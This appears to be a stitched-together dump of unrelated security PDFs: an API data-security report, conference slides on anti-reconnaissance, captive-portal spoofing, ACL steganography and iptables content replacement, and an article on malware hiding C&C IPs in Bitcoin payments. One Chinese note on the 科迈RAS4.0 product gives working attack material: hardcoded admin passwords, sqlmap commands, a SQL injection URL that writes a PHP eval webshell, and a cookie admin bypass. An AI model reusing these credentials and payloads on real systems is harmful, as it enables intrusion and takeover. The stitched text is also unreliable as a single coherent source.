敏感数据,并对识别的敏感数据接口进行监控,精准管理敏感数据 接口。 应用程序接口(API)数据安全蓝皮报告(2020 年) 40 用户行为异常分析:关注用户对关键业务系统、敏感数据、敏 感文件的操作行为,通过规则、基线等分析手段识别异常行为。 (3)成效 实践中完成 3 个业务风险场景建设,构建 2 套分析模型,日均 处理 200G 数据,共监测识别异常事件 72 起、真实有效事件 67 起。 来源:上海观安信息技术股份有限公司 4.发展趋势 当前,API 安全保护日渐成为网络应用的主要技术需求之一。人 工智能和机械学习作为高效智能化的工具,已经被应用到了协议栈 的各个层面上,以实现 API 的全栈安全防护。就下一步发展趋势来 看,开发人员需要进一步加大对于 API 业务模型、分析能力、技术 蓝图、以及合规性与标准化的深入研究与开发。API 安全实践的发展 趋势包括:DNS 安全、安全设计、人工智能、机械学习驱动等。 应用程序接口(API)数据安全蓝皮报告(2020 年) 41 (三)爱加密 API 安全实践 1.安全方案 爱加密移动应用 API 安全防护方案秉持“分段保护,技术验证” 的思路,在保障 APP 业务功能的前提下,对其调用或集成的 API 进 行事前、事中、事后的全过程安全管理与防护。及时发现潜在的源 码漏洞、破解盗用、异常调用等安全问题,并提供业务、数据、源 码各层面的安全防护。 来源:北京智游网安科技有限公司(爱加密) 爱加密自动化安全扫描工具可针对 API 的源代码安全性、数据 安全性与传输安全性等多方面进行检测,并对缺少源码保护、明文 存储数据、非加密协议传输数据等问题进行重点侦测。 (1)源代码防护检测 源码反编译安全:检测 Java 文件是否进行加壳保护,未加壳可 能面临被反编译的风险。 应用程序接口(API)数据安全蓝皮报告(2020 年) 42 源码混淆检测:检测 API 源代码是否进行混淆处理,代码未进 行混淆会在代码被反编译后导致核心代码可能被窃取,存在逆向代 码还原到源码的风险。 so 文件保护检测:检测 so 文件是否为了实现不同软件之间的数 据共享,设置内部文件为全局可读或全局可写,使得其他应用可以 读取和修改该文件。 H5 代码安全检测:分析 API 中的 html5 文件是否经过混淆/加密 操作。 密钥硬编码检测:检测 API 是否存在将加密算法密钥设定为固 定值,导致不法分子可能通过反编译硬编码密钥破解接口加密机制 情况。 (2)API 安全性检测 敏感信息获取检测:检测 API 中是否存在获取用户敏感信息的 操作。 API 本地数据存储安全检测:检测 API 是否会将用户敏感数据明 文存放在本地缓存目录,私有目录等。 日志数据安全检测:Log 日志是 APP 运行期间自身产生的,是对 程序运行情况的记录和监控,通过 Log 日志可以详细了解 APP 内部 的运行状况。 证书文件明文存储检测:查看 API 资源中是否包含明文的证书 文件。 应用程序接口(API)数据安全蓝皮报告(2020 年) 43 (3)API 数据传输检测 HTTP 协议检测:由于 HTTP 数据传输是明文传输的,导致 HTTP 数据容易被抓取、篡改,泄露用户密码等敏感数据,甚至通过中间 人劫持将原有信息替换成恶意链接或恶意代码程序,以达到远程控 制、恶意扣费等攻击意图。通过使用抓包工具在网络节点设置代理, 侦听抓取 API 业务请求数据包,分析数据报文检查是否使用 http 协 议传输数据。 业务接口漏洞测试:检查 API 是否存在与业务功能无关的服务 器交互接口,通过侦听通信数据中的网络端口类型查看 API 是否存 在可能的越权访问与脚本注入风险。 2.技术手段 自动化业务检测:将 API 恶意代码的行为特征具体化分析,创 造行为自动化检测脚本,通过对真实运行环境的仿真模拟来诱导发 现第三方 API 是否隐藏恶意行为与违规行为,将行为检测技术运用 到检测方法当中,包括:  检测 API 读取隐私数据,如手机通讯录、通话记录、短信内 容、IMEI、IMSI 等相关行为事件。  检测 API 完整的网络通讯事件,获取远程服务器 IP(包含地 理区域)、端口号、域名、完整 URL。  检测 API 隐藏图标动作、执行系统高威胁设置等行为事件。  检测 API 运行过程隐蔽安装插件安装包行为事件。 应用程序接口(API)数据安全蓝皮报告(2020 年) 44  检测 API 在运行生命周期内新建文件、编辑文件、删除文件 等所有行为事件。 VMP 高强度代码加固:市面上普遍对 256 个 OpCode,进行了自 定义指令替换,具体的操作数语法组合并不做处理。爱加密 VMP 对 OpCode 指令以及操作数都同时进行了指令转换处理,涉及操作数语 法组合大概 541 种,在加密细粒度和强度方面具有显著优势。 API 探针技术:API 威胁感知可以进行自定义埋点探针数据采集, 在后台对 APP 进行流程位置埋点探针,收集该埋点探针数据,在应 用上线后埋点探针可进行远程操作,而后埋点下发。爱加密威胁感 知系统支持多种响应形式的自定义下发,包括自定义弹窗,退出, 提示,悬浮球,打开链接,启动应用,toast 提示,通知栏,预下载, 下载并安装,跳转指定页面等。 3.实践应用 (1)运营商计费类 API 公开共享场景应用 某运营商开发自有计费 API 用于提供 App 内计费系统交易结算。 由于缺少代码层面安全防护,API 接口遭到恶意破解,计费逻辑与关 键文件被窃取,计费流程的完整性遭到破坏,导致交易破解与恶意 计费事件发生。此外,遭破解的计费 API 可能被二次打包为携带违 法广告、木马程序等内容的盗版 API,成为违法违规内容传播的载体。 应用程序接口(API)数据安全蓝皮报告(2020 年) 45 来源:北京智游网安科技有限公司(爱加密) 爱加密通过技术手段对运营商计费类 API 进行源码保护,提高 源码复杂度与完整性校验,防止被黑客破解分析,探知核心业务流 程。同时对关键业务流程进行过程监控,对关键交易进行二次验证。 此应用场景下采取如下保护措施:  对 API 源代码进行加固处理,防止非法破解。API 加固保护包 括对 jar 文件代码的虚拟化处理、so 库文件的安全防护等安全加固 内容。同时防止 so 库被非法调用,对 App 的使用进行权限管理。  增加威胁感知探针,对 API 业务运行时的状态进行感知。在 计费 API 运行时对关键核心步骤进行二次校验,对关键业务核心点 进行完整性验证,出现的异常行为及时预警或阻断。 (2)互联网企业认证 API 对外开放场景应用 某互联网企业为推广业务吸引流量,向第三方开发企业与个人 开放了自身 APP 的认证 API,实现便捷登录功能。由于未对 API 进行 安全检测,被黑客通过 API 中的通讯录匹配功能暴力匹配用户姓名 和密码,将海量黑产数据转化为有价值的用户账号数据在黑市兜售, 应用程序接口(API)数据安全蓝皮报告(2020 年) 46 给企业带来极大的经济和社会信誉损失。 来源:北京智游网安科技有限公司(爱加密) 互联网企业在向社会公开自己的 API 时,需要对 API 做全面的 安全检测,及时发现代码层面、数据层面与接口传输层面的安全漏 洞,与 App 业务功能无关的接口应及时注销关闭,防止其被破解后 形成潜在业务隐患。 此应用场景下采取如下保护措施:  检测 API 源代码是否进行混淆,加固等安全技术处理。防止 攻击者通过反编译工具得到 API 的代码后直接可读可定位等风险。  检测是否含有遗留日志数据,防止黑客通过 Log 日志详细了 解 API 内部的运行流程。防止通过对日志搜索进行程序代码定位, 从而找到 API 中关键代码进行分析修改。  增加威胁感知探针,对 API 运行时的业务请求频率进行监控。 在出现高频率、涉及敏感数据的业务时向服务后台进行预警与客户 端的防御响应。 应用程序接口(API)数据安全蓝皮报告(2020 年) 47 4.产品研发 目前 API 接口根据不同 APP 的开发场景被广泛集成到海量 SDK 中进行使用。爱加密结合其移动应用 SDK 领域安全积累,建立移动 SDK/API 资产互联网监控平台,通过大数据分析模型,提升相关风险 预警的准确性和防护策略的有效性。 来源:北京智游网安科技有限公司(爱加密) 该平台依托于爱加密移动安全大数据平台的监管能力,针对数 百万 APP 使用的 SDK/API 进行专向分类管理,当企业需要使用第三 方 SDK/API 时,可通过爱加密安全大数据平台获取详细的状态与使 用范围信息。 此外,平台提供针对企业自研 SDK/API 登记备案和管理功能, 可对企业自研 SDK/API 是否遭违法违规调用进行快速查询和验证。 平台提供的 API 全质量常态监测服务可对重大、突发安全漏洞实现 第一时间检测与记录回馈,配合移动威胁感知系统的前端响应能力, 应用程序接口(API)数据安全蓝皮报告(2020 年) 48 阻断风险扩散,精确划分影响范围,最大限度减小由于安全原因带 来的负面影响。 中国信息通信研究院 安全研究所 地址:北京市海淀区花园北路 52 号 邮政编码:100191 联系电话:010-62308590 010-62308790 传真:010-62300264 网址:www.caict.ac.cn
pdf
Network Anti-Reconnaissance Messing with Nmap Through Smoke and Mirrors - AltF4 Anti-Reconnaissance ● Consider 3 main phases of a network attack: 1) Gain Access 2) Perform Reconnaissance 3) Exploit Vulnerability ● Focusing on the second phase ● Anti-Reconnaissance ● Obscures the network – Obfuscate ● Not Intrusion Detection / Prevention ● Not Access Control Reconnaissance: HowTo ● Find information to use in an exploit ● Number of systems – ARP Sweep scan / ICMP Echo ● Types (OS) of systems – OS detection scans ● Open ports – TCP SYN / CONN (etc...) scans ● Network Topology – Traceroute ● Running Services – Service Detection Scans Why Is Detecting Recon Hard? ● Signatures Fail ● Identical at the packet level – ARP, TCP SYNs, ICMP, ... ● Speed ● Being very slow can be stealthy –One packet per hour ● Being very fast can be stealthy –Finish before anyone notices ● Already inside your network ● Border security already bypased (firewall) Why Is Preventing Recon Hard? ● Metadata ● Can't encrypt it ● Obfuscation Constraining The Problem ● A Needle in a Haystack ● Drown real nodes with realistic fake ones ● Honeyd ● Two goals: ● Obfuscates the network – Reconnaissance gets lots of bogus results ● Identifies Reconnaissance – Traffic to decoys are presumptively hostile Honeypots and Decoys ● Low Fidelity Honeypots ● Not a real machine ● Nor a “Virtual Machine“ as you know it ● Can't be exploited like a VM can ● Can be produced en masse ● Honeyd ● Last update: 05/07/2007 ● Nmap new probes since then –nmap-os-db ● github.com/datasoft/honeyd Haystack ● Attacker gains access ● Massive network ● Most machines are fake ● Can't tell the difference ● Reconnaissance becomes: ● Ineffective ● Cumbersome ● Obvious Classification ● High Fidelity Honeypots ● Inspect log files –Manually –Maybe automated tools ● Signatures –IDS / Antivirus –Mostly fails Machine Learning ● K - Nearest Neighbors ● N Statistical Features ● Scalar Values – Packet Timing – IPs contacted – Ports contacted – Haystack nodes contacted ● Training Data ● Programmed into the system – Like a spam filter ● Plot data points in N dimensional space Machine Learning ● Query Point ● Search for the k nearest neighbors ● Majority vote – Distance metric ● libann ● Approximate Nearest Neighbors ● Introduces some error ● Large performance gains Features ● Haystack Autoconfig ● Scans your network ● Builds a Haystack from it ● Multiple UIs ● WebUI, Qt, Terminal ● Import / Export Training Data ● Highly Multithreaded ● Free Software Demo Questions & Contact ● Email ● altf4@phx2600.org ● Identi.ca Twitter ● @altf4 @2600AltF4 ● Diaspora ● altf4@joindiaspora.com ● Development ● github.com/DataSoft ● IRC: OFTC #nova ● In Person ● 1st Fridays, phx2600.org
pdf
Bypassing Authenticated Wireless Networks Dean Pierce Brandon Edwards Anthony Lineberry Introduction to Authenticated Networks An authenticated wireless network is a network which requires a username and password to go online. They are increasingly common, although the same security flaws exist now that existed when the technology first became available. NoCatAuth NoCatAuth is an open source wireless authentication system written in perl. Widely used – Schools – Coffee shops – Restaurants – Community Networks Login Process DHCP HTTP requests are redirected to and SSL encrypted login page. Once authenticated, the firewall sets a rule that allows data from your IP and MAC address to pass through the gateway. Bypassing Authentication Basically, all that you need to do to bypass the firewall rules is spoof the information of someone who is already authenticated. Three things need to be known – MAC of target – IP of target – Location of the gateway How the pickupline Works Creates a database – Gateway information – Target information Creates a thread in the background that sniffs for possible targets and attempts to identify the gateway. Once you have some targets, you can try spoofing them with the “spoof” command. If the spoofing is successful, you should be able to go on the internet as if you were authenticated. How to Use the Tool start – starts the background thread that gathers target information etc list – lists all targets gathered spoof – lets you select a target to spoof exit – exits the program Demonstration
pdf
账户名 密码 RASCOM 1A2b3C4d56. RAS_admin R1a2b3c4d56. 应急时碰到的一套系统,简单记录下 0x01 硬编码问题 科迈RAS4.0在安装时会创建2个管理员账户 RAS_admin 、 RASCOM ,这两个账户硬编码了2组密码, 这就导致如果机器开了RDP,那么可以通过这两组帐密直接登录 0x02 SQL注入问题 审计的时候发现这套源码通过COM组件形式调用的SQL语句,IDA里看到均为直接拼接,没有做过滤 Server/CmxCheckBind.php python3 sqlmap.py -u "http://10.100.100.133:8088/Server/CmxCheckBind.php? a=1&b=2&c=3&d=4&from=5" --level 5 --risk 3 Server/CmxBindMachine.php python3 sqlmap.py -u "http://10.100.100.133:8088/Server/CmxBindMachine.php? m=1&b=2&a=3&c=4" --risk 3 --level 5 Server/CmxUserMap_1.php python3 sqlmap.py -u "http://10.100.100.133:8088/Server/CmxUserMap_1.php? a=a&b=b&c=c" Server/CmxGetLoginType.php http://10.100.100.133:8088/Server/CmxGetLoginType.php? a=admin%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2FProgram%20Files%20%28x86%2 9%2FComexe%2FRasMini%2Frasweb%2FApache2%2Fhtdocs%2Fsmarty- 2.6.19%2FServer%2Faa.php%27%20LINES%20TERMINATED%20BY/**/0x3C3F70687020406576616C2 8245F504F53545B2758275D293B3F3E--%20- 类似的地方还有很多,几乎与数据交互的地方均可注入 0x03 越权 Cookie 中添加 RAS_Admin_UserInfo_UserName=admin 即可以 admin 登录 0x04 影响范围
pdf
ACL Steganography: Permissions to Hide Your Porn by Michael Perklin Michael Perklin BaISc, MSIA, CISSP, EnCE, ACE Security Professional Corporate Investigator (Cyber-Crime) Digital Forensic Examiner Computer Geek + Legal Support hybrid In This Talk... What is Steganography? Historical examples of physical and digital forms How do they work? ACL Steganography - a new scheme Demo How It Works What Is Steganography? Greek origin and means "concealed writing" steganos (στεγανός) meaning "covered or protected" graphei (γραφή) meaning "writing" The term was first coined in 1499, but there are many earlier examples Basically, hiding something in plain sight Classical Examples Classical Example: Tattoo Tattoo under hair Encoder tattoos a slave’s scalp Decoder shaves the messenger’s hair Problem: The message must be delayed to allow time for hair regrowth Also... Tattoos Are Permanent Oops Classical Example: Morse Stitch morse code into a sweater/jacket worn by a messenger Messenger hand-delivers one message while actually delivering two Classical Example: Invisible Ink Write secrets with lemon juice Allow to dry Decode with heat (candle, match, hair dryer, iron) Decode With Heat Digital Steganographic Methods Digital Example: Photos Files can be encoded as colour information embedded in a photo Most common type of digital steganography Based on the fact that only super-humans can tell the difference between Chartreuse and Lemon Photo Steganography Each pixel is assigned a colour with an RGB colour code The last bit of this 8-bit code is overwritten with encoded data #DFFF00 is chartreuse #DFFF01 is.... one of the yellows 8 adjacent pixels with 8 slightly-adjusted colours allows 1 byte of encoded information Audio Steganography Same principle as photographic steganography, but with audio Humans can’t easily tell the difference between 400hz and 401hz, especially if the note isn’t sustained Alter each frame of audio with 1 bit of encoded information Digital Example: x86 Ops Information can be encoded in x86 op codes NOP - No Operation ADD / SUB - Addition and Subtraction PE files (standard .exe programs) have many other areas that can hold arbitrary data Digital Example: Chaffing and Winnowing Conceived by Ron Rivest in 1998 (the R in RSA, as well as RC4 and others) Not quite steganography Not quite encryption Has properties of both stego and encryption Chaffing and Winnowing Sender issues ‘real’ messages and ‘chaff’ messages Listeners don’t know which messages are real Real chunks of the message pass a parity check Message Authentication Code (MAC) Receiver calculates MACs on every packet Discards packets whose MACs aren’t valid Reassembles all packets with valid MACs Chaffing and Winnowing Courtesy: Wikimedia Commons Steganography Breakdown All types of steganography require three things: A medium of arbitrary information A key or legend for encoding information A way to differentiate ‘encoded’ and ‘medium’ info ACL Steganography A way to encode files as Access Control Entries within Access Control Lists of files stored on an NTFS volume Medium: All files on an NTFS volume Key: Security Identifiers in ACEs Differentiator: ACEs with an unlikely combination of permissions Background: NTFS Security NTFS Permissions Entries correspond to system users There are 22 unique permissions available, stored in 14 bits of a 32-bit field Many more granular permissions exist than “Read, Write, Execute” Simple and Advanced Views NTFS Permissions Permission entries are stored using Security Identifier (S-ID) If the user is removed, the OS can’t look up the friendly name Photo shows same file after “Michael” is removed from OS NTFS Security Identifiers Maximum Size: 68-bytes 1st byte is the revision (Always 1) 2nd byte is the count of SubAuthorities in this SID (Maximum 15 SubAuthorities per SID) 6 bytes used for the Identifier Authority (Always 000004) 60 bytes store the content of the SubAuthorities and the Relative ID Acronym Review (AR) Access Control List (ACL) A list of Access Control Entries Access Control Entry (ACE) A permission rule (allow or deny) pertaining to a SID Security Identifier (SID) A unique identifier for a user or group of a Windows system Demonstration A folder full of files A filelist.txt with these files A .tc volume with cool stuff in it Encoding the volume Showing the ACEs on the files Decoding the volume ACL Steganography A file is split up into 60-byte chunks Each chunk becomes a SID Two files in the FileList.txt ACL Steganography ACEs are created with “Allow” permissions for each of these SIDs ACEs are added to the ACLs of multiple files ACLEncoding Details Two bits are set for all ACLEncoded entries: Synchronize + ReadPermissions Synchronize cannot be set within the Windows UI The 9 least significant bits are used as a counter from 0-512 ACLEncode Details The FileList becomes a kind of symmetric key between the encoder and decoder The list identifies: Which files have ACLEncoded entries The order in which those entries are encoded Limitations An ACL can be no bigger than 64kB per file Maximum ACE size is 76 bytes (68 for SID + 8 byte header) This produces a theoretical maximum of 862 ACEs per file I’ve imposed a limit of 512 entries per file This leaves room for legitimate permissions Limitations The largest possible file to be encoded: NumFilesInList * 512 * 60bytes or about 30KB per file Need to store a larger file? Use a longer file list. $SECURE File Limitation The $SECURE file is a hidden file on every NTFS volume All ACLs for all files are stored in this one file Each time a new SID is encountered, it’s added to this file This way, future permission operations for that user can use the existing reference without duplicating it $SECURE File Limitation NTFS does *NOT* remove old/unused SIDs from the $SECURE file The $SECURE file is designed only to grow in size and never shrink This means, every ACLEncoded chunk from every run of ACLEncode will persist here forever A Forensic Review I conducted a test: 2GB USB Key, formatted as NTFS AccessData FTK 4.0.2.33 Guidance EnCase Forensic 6.19.6 Forensic Test - File List Forensic Test - Input File DEFCONXXI repeated over and over 4 KB AccessData FTK 4 Forensic Test - FTK4 Forensic Test - FTK4 Forensic Test - FTK4 FTK4 has no way to show Access Control Lists of files Contacted their tech support Discussed on their user forum “Use another tool” Guidance EnCase Forensic 6 Forensic Test - EnCase 6 Forensic Test - EnCase 6 Forensic Test - EnCase 6 Forensic Detection of ACLEncoding Detection of ACLEncoded entries is a manual process (using the most popular forensic tools) Detection can be automated with the creation of EnScripts (EnCase’s scripting language) and other purpose-built tools Unfortunately not enough time to go over these today Questions and Answers If you have questions, see me in the Speaker Q&A room Thanks to Josh, Nick, Joel, Reesh, Kyle for their help with testing Thanks to my family, my friends, my colleagues, and my employer for providing me the time for this research Thanks to Eugene Filipowitz for seeding the thought in my mind: “How can you hide data on a drive without detection?” ACLEncode Source Code http://www.perklin.ca/~defcon21/ACLEncode.zip Latest Slides http://www.perklin.ca/~defcon21/aclsteganography.pdf DEFCON 21 Michael Perklin References http://msdn.microsoft.com/en-us/library/gg465313.aspx http://stackoverflow.com/questions/1140528/what-is-the-maximum-length-of-a-sid-in-sddl- format http://technet.microsoft.com/en-us/library/cc962011.aspx http://msdn.microsoft.com/en-CA/library/ms229078(v=vs.85).aspx https://github.com/mosa/Mono-Class-Libraries/blob/master/mcs/class/corlib/ System.Security.AccessControl/FileSystemRights.cs http://msdn.microsoft.com/en-us/library/system.security.accesscontrol.filesystemrights.aspx http://www.ntfs.com/ntfs-permissions-access-entries.htm http://www.ntfs.com/ntfs-permissions-security-descriptor.htm http://support.microsoft.com/kb/279682
pdf
利用区块链技术隐藏C&C服务器IP 这个月刚结束的Blackhat亚洲会议上有很多有意思的议题。其中有一个议题:How Did the Adversaries Abusing Bitcoin Blockchain Evade Our Takeover引起了我的兴趣。主要是介绍了攻 击者利用比特币区块链的技术隐藏C&C服务器IP逃避接管的技术。简单学习记录一下。 介绍 网络安全一直是猫捉老鼠的游戏。过去,我们看到恶意软件生态系统采用了诸如代码混淆,多态性,域 生成算法(DGA)以及虚拟机和沙箱规避等概念,只要防御能够对这些威胁进行一致且普遍的抑制。 一些攻击者最近开始使用比特币区块链来传达命令和控制(C&C)信息。由于一旦矿工确认交易,任何 人都无法阻止或从区块链中删除交易,这意味着对手不必担心其C&C位置的交易会被撤消。恶意软件策 略,技术和程序(TTP)的最新创新意味着,现有的常见防御措施(例如DGA预计算或漏洞域)将不再 起作用。 来自blackhat官方议题介绍 常用的缓解或检测C&C server的方式 预测恶意域名并停止它 检测查找模式,尤其是NXDomain 在搜索其C&C服务器时,受感染的计算机会对当前不存在的域名执行大量查询。这些所造成的 NXDomain响应泛滥在网络环境中很明显,因为用户可能偶尔会错误键入域名,但不会以固定间隔 连续输入数百次。许多解决方案利用定期或批量查找结合大量NXDomain来对受感染的计算机进行 本地化 找到并抓住物理基础架构(我的理解是定位到具体的服务器厂商,服务器架设的地址等) 采用区块链技术隐藏C&C server的优势 没有什么可预测的。因为是利用的区块链上的交易,也不可从链上删除 没有对异常站点的DNS查找。从来没有任何NXDomain 大多数藏在TOR网关后面,难以被定位 实现技术 我们需要将特定的比特币接收地址硬编码进恶意软件加载器的源代码中,通过api接口监视付款交易(比 如api.blockcypher.com)。从接口中检索出与接收地址相关的最近的交易记录,用一种机制解码出当前 使用的C&C server的IP地址。 接下来说说这个编码解码的机制。首先我们以一个1BkeG开头的地址(硬编码进恶意软件加载器中 的),从一个或多个其他比特币地址(比特币数量在0.0000101-0.00065278或者0.12USD-70.75USD之 间变化) 接收付款。而我们需要编码的C&C server的IP地址就是交易量来编码出来的。通过十六进制先转 换satoshi(聪)的交易值,并交换两个字节,再转化为十进制拼接组成。 这里的satoshi是比特币的最小单位,1satoshi=0.00000001BTC。我觉得攻击者利用satoshi作单 位应该是能构造出一个五位数从而转化为两个十六进制字节从而进行操作。 而此时我们取最近的两次交易,发送特定数量的btc,就能构造出4组字节,从而拼接成ip地址 这里的付款人被称为"发件人",接收地址称为"IP信号",由恶意软件加载器监控。 而技术也不是空头理论,已经有攻击者应用到恶意软件中去。具体案例是名为Pony的恶意软件。 关于改进策略 原先的机制通过两次单独的交易向服务器IP地址发出信号,当使用两个单独的事务时,仅当包括交易并 由开采区块链中下一个区块的人确认并通过交易时,通过比特币系统发送的付款才是最终的交易。通过 区块链网络的传播会产生一些延迟,此外,矿工将独立确定将哪些交易包括在其区块中。因此,如果恶 意软件所有者发送两个交易的顺序不同,僵尸程序将组成错误的IP地址。 攻击者正在试验和完善两种策略来避免和缓解这些操作问题。我们将使用的第一个策略称为时间滞后, 其中延迟发送事务以将其延迟到不同的块中。后来,对手试图通过向矿工支付更高的奖励来控制区块链 的行为,我们将其称为费用命令。 时间滞后 为了确保交易的顺序让僵尸程序正确识别C&C server的IP地址。攻击者提出了一种简单且明显有效的策 略是确保在其中一项交易之前先记录下来,这是在两者之间造成人为的延迟。只有在第一个交易在一个 区块中得到确认并在整个网络中传播后,才触发第二个交易。但代价是存在一个间歇性的时间段,在此 期间,要是有别的交易,僵尸程序将通过解码新的和旧的交易值来组成错误的C&C地址。 费用命令 付款被包含在区块链中的方式不仅是一个问题,它在什么时候发送,而且是如何付款的。为了将交易包 括在区块链中,发送者必须支付一定的费用。该费用取决于交易的大小(以字节为单位),但发送方可 以选择提供更高的费用,以增加矿工将交易包括在当前开采的区块中的动力。 通过设置正确的费用金额,恶意软件所有者可以影响两个交易的优先级并成为同一区块的一部分,同时 仍保持正确的顺序。 然而,使用更高的费用来提高激励机制也会增加操作系统的支出,并提出了一个问题,即在不向矿工支 付过多费用的情况下,将区块高度差降低到0的正确费用是什么?尽管找到了可以有效地抵御宕机的策 略,但在恶意软件作者试图优化这种关系之后,运营成本似乎已经过高,难以维持。 防御措施 尽管这种隐藏C&C服务器IP的机制很精巧,但这种基于区块链的机制包含一个逻辑上的漏洞:IP信号是 基于收钱时候监控到的交易来解码的而不是发送来完成的。 因此任何人都可以往恶意软件编码器里的btc地址发送btc来制造假IP干扰恶意软件获取C&C server的 IP。 这里借用ppt中的图来简单表示一下: 最后再次感谢下议题作者: 谷口刚 | 富士通系统集成实验室有限公司研究员 Christian Doerr | 哈索·普拉特纳数字工程学院教授 最后我想说的是,最近安全圈几乎都在炒币变得浮躁起来,而区块链技术它不仅仅是炒币,其中还有很 多未知的可以进行应用的技术值得我们去探索。像议题ppt种其实并没有给出具体恶意软件里的代码实 现,这些都值得我们去思考。我们的目光应该放的长远些,把技术的学习与利用放在首位,一起学习进 步,共勉。 参考资料: https://www.blackhat.com/asia-21/briefings/schedule/#how-did-the-adversaries-abusing-the-bitc oin-blockchain-evade-our-takeover-22216 https://www.cyber-threat-intelligence.com/publications/AsiaCCS2021-pony.pdf
pdf
Advanced Netfilter; Content Replacement (ala Snort_inline) and Port Knocking Based on p0f DEFCON 12 Michael Rash http:/ / www.cipherdyne.org http:/ / www.enterasys.com / 08/ 01/ 2004 Introduction ● Iptables logging form at ● Passive OS fingerprinting with p0f ● What can iptables tell us? ● fwknop ● Iptables string m atch extension ● Snort_inline ● String replacem ent patch ● Netperf benchm arks Iptables Logs iptables - A INPUT - p tcp - i eth0 - j DROP - - log- prefix “DROP “ - - log- tcp- options Iptables Logs; Decoded IP header fields ● Source and destination IP addresses ● IP datagram length ● Type of service ● TTL ● IP ID ● Fragm ent bits ● Protocol Jul 8 03:06:12 orthanc kernel: DROP IN= eth0 OUT= MAC= 00:a0:cc:28:42:5a:00:00:00:22:2d:42:00:00 SRC:192.168.10.3 DST:192.168.10.1 LEN= 60 TOS= 0x10 PREC= 0x00 TTL= 64 ID= 6854 DF PROTO= TCP Iptables Logs; Decoded TCP header fields ● Source and destination ports ● TCP window siz e ● TCP flags Jul 8 03:06:12 orthanc kernel: DROP IN= eth0 OUT= MAC= 00:a0:cc:28:42:5a:00:00:00:22:2d:42:00:00 SRC:192.168.10.3 DST:192.168.10.1 LEN= 60 TOS= 0x10 PREC= 0x00 TTL= 64 ID= 6854 DF PROTO= TCP SPT= 32788 DPT= 5500 WINDOW= 5840 RES= 0x00 SYN URGP= 0 Iptables Logs; Encoded TCP header fields ● TCP options!!! p0f depends on this. Jul 8 03:06:12 orthanc kernel: DROP IN= eth0 OUT= MAC= 00:a0:cc:28:42:5a:00:00:00:22:2d:42:00:00 SRC:192.168.10.3 DST:192.168.10.1 LEN= 60 TOS= 0x10 PREC= 0x00 TTL= 64 ID= 6854 DF PROTO= TCP SPT= 32788 DPT= 5500 WINDOW= 5840 RES= 0x00 SYN URGP= 0 OPT (020405B40402080A006F1D8E0000000001030300) TCP options; What does p0f Care About? ● MSS (Maxim um Segm ent Siz e) ● Window scale ● Selective acknowledgem ent (perm itted bits) ● NOP ● Tim estam p Encoding: type (8 bits) / total length (8 bits) / value (n - 16 bits) e.g. 020405b4 = MSS / 4 bytes / 1460 Decoded TCP options ● OPT (020405B40402080A00749E860000000001030300) – MSS = 1460 – Selective Acknowledgem ent perm itted – Tim estam p – NOP – Window Scale = 0 Packet Summary – Length = 60 – Don't fragm ent bit – TTL = 64 – Window siz e = 5840 – MSS = 1460 – Selective Acknowledgem ent perm itted – Tim estam p – NOP – Window Scale = 0 What does p0f have to say? S4:64:1:60:M*,S,T,N,W0 Linux:2.4::Linux 2.4/ 2.6 Other fingerprinting strategies ● IP ID ● Type of Service   “Passive OS Fingerprinting: Details and Techniques”, Toby Miller   XProbe Port Knocking ● Inform ation hiding within sequences of connections to closed (or open) ports. ● Access control m odification. ● Can be encrypted or shared. ● Multiple protocols. ● Relative tim ings. ● Third party IP access. http:/ / www.portknocking.org, MartinKrz ywinski fwknop ● Iptables log m essages. ● Shared or encrypted knock sequences. ● Multi- protocol (tcp and udp) ● Relative and absolute port tim ings. ● p0f ● Exact or regex OS m atch. Implementation ● “Client/ Server” ● Knock sequences encrypted via Rijndael ● Syslog m onitor “knopm d” ● nam ed pipe ● sysklogd and syslog- ng ● OpenBSD pf.os ● Selectable iptables ruleset entry ● Access tim eout and iptables connection tracking. Live Demo... Iptables string match extension ● Application layer inspection ● Boyer- Moore algorithm ● BM_MAX_HLEN = 1024, netfilter_ipv4/ ipt_string.h String match interface   Snort SID 940: “WEB- FRONTPAGE shtm l.dll   iptables - I FORWARD 1 - p tcp - - dport 80 - - tcp- flags ACK ACK - m string - - string “/ _vti_bin/ shtm l.dll” - j LOG - - log- prefix “SID940 ” String match interface (2)   Snort SID 261: “DNS EXPLOIT nam ed overflow attem pt”   iptables - I FORWARD 1 - p tcp - - dport 53 - - tcp- flags ACK ACK - m string - - hex- string “| CD80 E8D7 FFFF FF| / bin/ sh” - j LOG - - log- prefix “SID261 ” Iptables targets   - j DROP   - j RETURN   - j REJECT   - - reject- with   icm p- net- unreachable   icm p- host- unreachable   icm p- port- unreachable   ...   tcp- reset Evasion ● Packet fragm entation ● Polym orphic shellcode ● URL encoding ● Session splicing (Whisker) Snort_inline ● Inline IDS/ IPS ● Linux bridge ● Netfilter libipq ● libnet Snort_inline packet decisions ● Alert ● Drop ● Reject ● Replace   content: “/ bin/ sh”; replace: “/ ben/ sh”; Snort_inline packet journey ● (kernel space) packet in ingress interface ● (kernel space) iptables FORWARD chain ● (kernel space) libipq ● (user space) context switch to Snort_inline ● (user space) Snort detection engine ● (user space) libnet ● (kernel space) packet on egress interface Iptables string match patch   net/ ipv4/ netfilter/ ipt_string.c   char * search(char *needle, char *haystack, int nlen, int hlen)   We get a pointer to the data!!! Replace string interface   Snort SID 940: “WEB- FRONTPAGE shtm l.dll   iptables - I FORWARD 1 - p tcp - - dport 80 - - tcp- flags ACK ACK - m string - - string “/ _vti_bin/ shtm l.dll” - - replace- string “/ vti_bin/ shtm l.doo” - j LOG - - log- prefix “nullify SID940 ” Replace string interface (2)   Snort SID 261: “DNS EXPLOIT nam ed overflow attem pt”   iptables - I FORWARD 1 - p tcp - - dport 53 - - tcp- flags ACK ACK - m string - - hex- string “| CD80 E8D7 FFFF FF| / bin/ sh” - - replace- hex- string “ben/ sh” - j LOG - - log- prefix “nullify SID261 ” Iptables packet journey ● (kernel space) packet on ingress interface ● (kernel space) packet m atch in FORWARD chain ● (kernel space) string m atch function and data replacem ent ● (kernel space) packet on egress interface Netperf bencharks ● Data port patch ● Exam ple benchm arks. Linux- 2.4.26 with string replace patch vs. Netperf and Apache- 2.0.40 Applications? ● Well- defined exploits ● Preserve application layer responses IPS References fwknop: http:/ / www.cipherdyne.org/ fwknop fwsnort: http:/ / www.cipherdyne.org/ fwsnort snort2iptables: http:/ / www.stearns.org/ snort2iptables Snort_inline: http:/ / snort- inline.sourceforge.net “The Base Rate Fallacy and its Im plications for the Difficulty of Intrusion Detection”: http:/ / www.raid- sym posium .org/ raid99/ PAPERS/ Axelsson.pdf
pdf
